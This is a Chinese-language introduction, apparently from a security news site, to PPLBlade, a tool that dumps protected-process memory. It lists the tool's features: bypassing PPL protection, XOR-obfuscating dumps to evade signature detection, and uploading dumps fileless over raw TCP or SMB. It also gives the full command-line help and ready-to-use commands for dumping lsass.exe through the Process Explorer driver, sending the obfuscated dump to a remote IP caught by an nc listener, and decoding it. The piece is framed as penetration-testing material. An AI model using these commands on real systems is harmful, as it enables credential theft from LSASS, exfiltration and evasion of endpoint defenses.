关于PPLBlade
PPLBlade是一款功能强大的受保护进程转储工具,该工具支持混淆内存转储,且可以在远程工作站上传输数据,因此不需要触及磁盘。
在该工具的帮助下,广大研究人员能够轻松绕过各种进程保护技术来实现进程数据转储,以测试目标系统和进程的安全情况。
功能介绍
1、绕过PPL保护;
2、混淆内存转储文件以绕过基于签名的安全检测机制;
3、使用RAW和SMB上传方法上传内存转储,而无需触及磁盘,即无文件转储;
需要注意的是,项目源文件中的PROCEXP15.SYS仅做代码编译使用,请不要将其与PPLBlade.exe一起发送至目标设备中。
所有相关的代码已经嵌入到了PPLBlade.exe,因此我们只需要运行这一个单独的可执行文件即可。
支持的工作模式
1、转储(Dump):使用进程ID(PID)或进程名称转储目标进程内存数据;
2、解密(Decrypt):将经过混淆的转储文件恢复成原本状态(--obfuscate);
3、清理(Cleanup):手动清理,防止工具运行出现错误;
4、lsass.exe转储(DoThatLsassThing):使用进程浏览器驱动程序转储lsass.exe;
句柄模式
1、Direct:使用OpenProcess()函数,直接打开PROCESS_ALL_ACCESS句柄;
2、Procexp:使用PROCEXP152.sys获取一个句柄;
工具下载
预编译版本
广大研究人员可以直接访问该项目的【Releases页面】下载最新版本的预编译PPLBlade。
源码获取
由于该工具基于Go和Python开发,因此我们首先需要在本地设备上安装并配置好最新版本的Go和Python环境。
广大研究人员还可以直接使用下列命令将该项目源码克隆至本地:
git clone https://github.com/tastypepperoni/PPLBlade.git
然后切换到项目目录中,使用go build完成代码编译即可:
cd PPLBlade go build
工具使用帮助
Usage of PPLBlade.exe: -driver string 存储驱动器文件的路径 (默认为: 当前目录) -dumpmode string 转储模式 [local|network] (默认为"local") -dumpname string 转储文件名称 (默认为"PPLBlade.dmp") -handle string 获取目标进程句柄的方法 [direct|procexp] (默认为"direct") -help 打印工具帮助信息 -ip string 远程服务器IP地址 -key string 混淆处理所使用的XOR字符串 (默认为"PPLBlade") -mode string 终止进程或转储进程 [dump|decrypt|cleanup|dothatlsassthing] (默认为"dump") -name string 目标进程名称 -network string 网络传输方法 [raw|smb] (默认为"raw") -obfuscate 混淆处理转储文件 -pass string SMB密码 -pid int 目标进程PID (优先级比进程名称高) -port int 远程服务器的端口号 -quiet 静默模式 -service string 服务名称 (默认"PPLBlade") -share string 共享名称 -user string SMB用户名
工具使用样例
使用PROCEXP152.sys转储lsass:
PPLBlade.exe --mode dothatlsassthing
上传经过混淆处理的LSASS转储至远程地址:
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
研究人员主机:
nc -lnp 1234 > lsass.dmp python3 deobfuscate.py --dumpname lsass.dmp
反混淆内存转储:
PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade
手动清理:
PPLBlade.exe --mode cleanup
项目地址
PPLBlade:【GitHub传送门】